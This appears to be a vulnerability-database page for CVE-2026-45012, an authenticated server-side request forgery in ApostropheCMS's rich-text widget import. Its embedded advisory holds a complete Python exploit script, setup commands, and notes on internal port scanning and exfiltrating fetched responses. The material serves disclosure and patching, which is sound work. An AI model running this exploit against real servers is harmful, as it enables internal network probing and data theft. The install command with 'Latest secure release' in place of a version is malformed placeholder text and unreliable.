CVE-2026-45012: Apostrophe Apostrophe Has Authenticated SSRF Vulnerability
HIGHCVE-2026-45012 is a HIGH (CVSS 7.6) apostrophe has authenticated ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Apostrophe libraries in the npm ecosystem. The issue involves apostrophe has authenticated ssrf in rich-text widget import via @apostrophecms/area/validate-widget. Remediation is available in the latest vendor maintenance releases.
CVE-2026-45012 at a Glance
Security Impact
CVSS: 7.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).
How to Fix CVE-2026-45012
To remediate this vulnerability, upgrade all affected Apostrophe dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install apostrophe@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls apostrophe
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-45012, inspect your project dependencies using npm:
npm ls apostrophe
Analyze the terminal output to locate any version of Apostrophe in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Apostrophe, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45012 Affected Apostrophe Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
apostrophe
|
npm |
≤ 4.29.0
|
|
References
Frequently Asked Questions
What is CVE-2026-45012?
Which Apostrophe versions are affected?
What version fixes CVE-2026-45012?
Is apostrophe affected?
What is the CVSS score of CVE-2026-45012?
What CWE is associated with CVE-2026-45012?
How can I check npm dependencies for CVE-2026-45012?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pr28-mf3q-qpg6",
"modified" : "2026-06-12T22:02:09Z",
"published" : "2026-05-14T18:26:45Z",
"aliases" : [ "CVE-2026-45012" ],
"summary" : "Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget",
"details" : "### Summary\nApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.\n\n### Details\n The vulnerable flow is in the rich-text widget sanitizer:\n - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js`\n - `packages/apostrophe/modules/@apostrophecms/area/index.js`\n - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js`\n\nRelevant behavior:\n 1. The backend accepts a widget payload containing `import.html`.\n 2. It parses `<img src=...>` values from that HTML.\n 3. For each image, it resolves the URL with:\n - `new URL(src, input.import.baseUrl || self.apos.baseUrl)`\n 4. It then performs a server-side `fetch(url)`.\n 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.\n\n This is reachable during widget validation through:\n - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft`\n\n\n### PoC\n 1. Start a local HTTP server with a valid PNG:\n```bash\n mkdir -p /tmp/apos-poc\n base64 -d > /tmp/apos-poc/secret.png <<'EOF'\n iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=\n EOF\n cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1\n```\n2. Run the following Python PoC:\n```python\n#!/usr/bin/env python3\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\n\nimport requests\n\n\ndef login(base_url: str, username: str, password: str) -> str:\n url = urljoin(base_url, \"/api/v1/@apostrophecms/login/login\")\n r = requests.post(\n url,\n json={\n \"username\": username,\n \"password\": password\n },\n timeout=20\n )\n r.raise_for_status()\n data = r.json()\n token = data.get(\"token\")\n if not token:\n raise RuntimeError(f\"Login succeeded but no token was returned: {data}\")\n return token\n\n\ndef trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:\n url = urljoin(\n base_url,\n \"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft\"\n )\n payload = {\n \"areaFieldId\": area_field_id,\n \"type\": \"@apostrophecms/rich-text\",\n \"widget\": {\n \"type\": \"@apostrophecms/rich-text\",\n \"content\": \"<p>seed</p>\",\n \"import\": {\n \"html\": f'<img src=\"{target_url}\">',\n \"baseUrl\": target_url.rsplit(\"/\", 1)[0] if \"/\" in target_url else target_url\n }\n }\n }\n r = requests.post(\n url,\n headers={\n \"Authorization\": f\"Bearer {token}\",\n \"Accept\": \"application/json\"\n },\n json=payload,\n timeout=30\n )\n r.raise_for_status()\n return r.json()\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser(\n description=\"Authenticated ApostropheCMS SSRF PoC via rich-text widget import.\"\n )\n parser.add_argument(\"--base-url\", default=\"http://127.0.0.1:3000\")\n parser.add_argument(\"--username\", default=\"admin\")\n parser.add_argument(\"--password\", default=\"admin123\")\n parser.add_argument(\"--area-field-id\", default=\"cd4f89f5b834d0036f3867f1507a8add\")\n parser.add_argument(\"--target-url\", default=\"http://127.0.0.1:7777/secret.png\")\n parser.add_argument(\n \"--fetch-image\",\n action=\"store_true\",\n help=\"Fetch the generated Apostrophe image URL after exploitation.\"\n )\n args = parser.parse_args()\n\n try:\n token = login(args.base_url, args.username, args.password)\n result = trigger(args.base_url, token, args.area_field_id, args.target_url)\n except Exception as exc:\n print(f\"[!] Exploit failed: {exc}\", file=sys.stderr)\n return 1\n\n print(\"[+] Login OK\")\n print(f\"[+] Bearer token: {token}\")\n print(\"[+] Exploit response:\")\n print(json.dumps(result, indent=2))\n\n widget = result.get(\"widget\") or {}\n image_ids = widget.get(\"imageIds\") or []\n if not image_ids:\n print(\"[-] No imageIds returned. Target may have been fetched but not persisted as an image.\")\n return 0\n\n image_id = image_ids[0]\n image_path = f\"/api/v1/@apostrophecms/image/{image_id}/src\"\n image_url = urljoin(args.base_url, image_path)\n print(f\"[+] Generated image id: {image_id}\")\n print(f\"[+] Generated image URL: {image_url}\")\n\n if args.fetch_image:\n r = requests.get(image_url, allow_redirects=True, timeout=30)\n print(f\"[+] Final fetch status: {r.status_code}\")\n print(f\"[+] Final URL: {r.url}\")\n print(f\"[+] Retrieved bytes: {len(r.content)}\")\n\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n3. Example usage:\n```bash\n python3 poc.py \\\n --base-url http://127.0.0.1:3000 \\\n --username admin \\\n --password admin123 \\\n --area-field-id cd4f89f5b834d0036f3867f1507a8add \\\n --target-url http://127.0.0.1:7777/secret.png \\\n --fetch-image\n```\n 4. Expected result:\n - The local listener receives:\n GET /secret.png HTTP/1.1\n - The API response includes a rewritten Apostrophe image URL and imageIds.\n - The generated image URL can then be fetched through the application.\n\nAdditional note:\n\n - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.\n\n### Impact\nAn authenticated user with permission to submit or edit rich-text widget content can:\n - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)\n - perform blind or semi-blind internal port and service discovery\n - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "apostrophe"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "4.29.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45012"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apostrophecms/apostrophe"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-14T18:26:45Z",
"nvd_published_at" : "2026-06-12T21:16:22Z"
}
}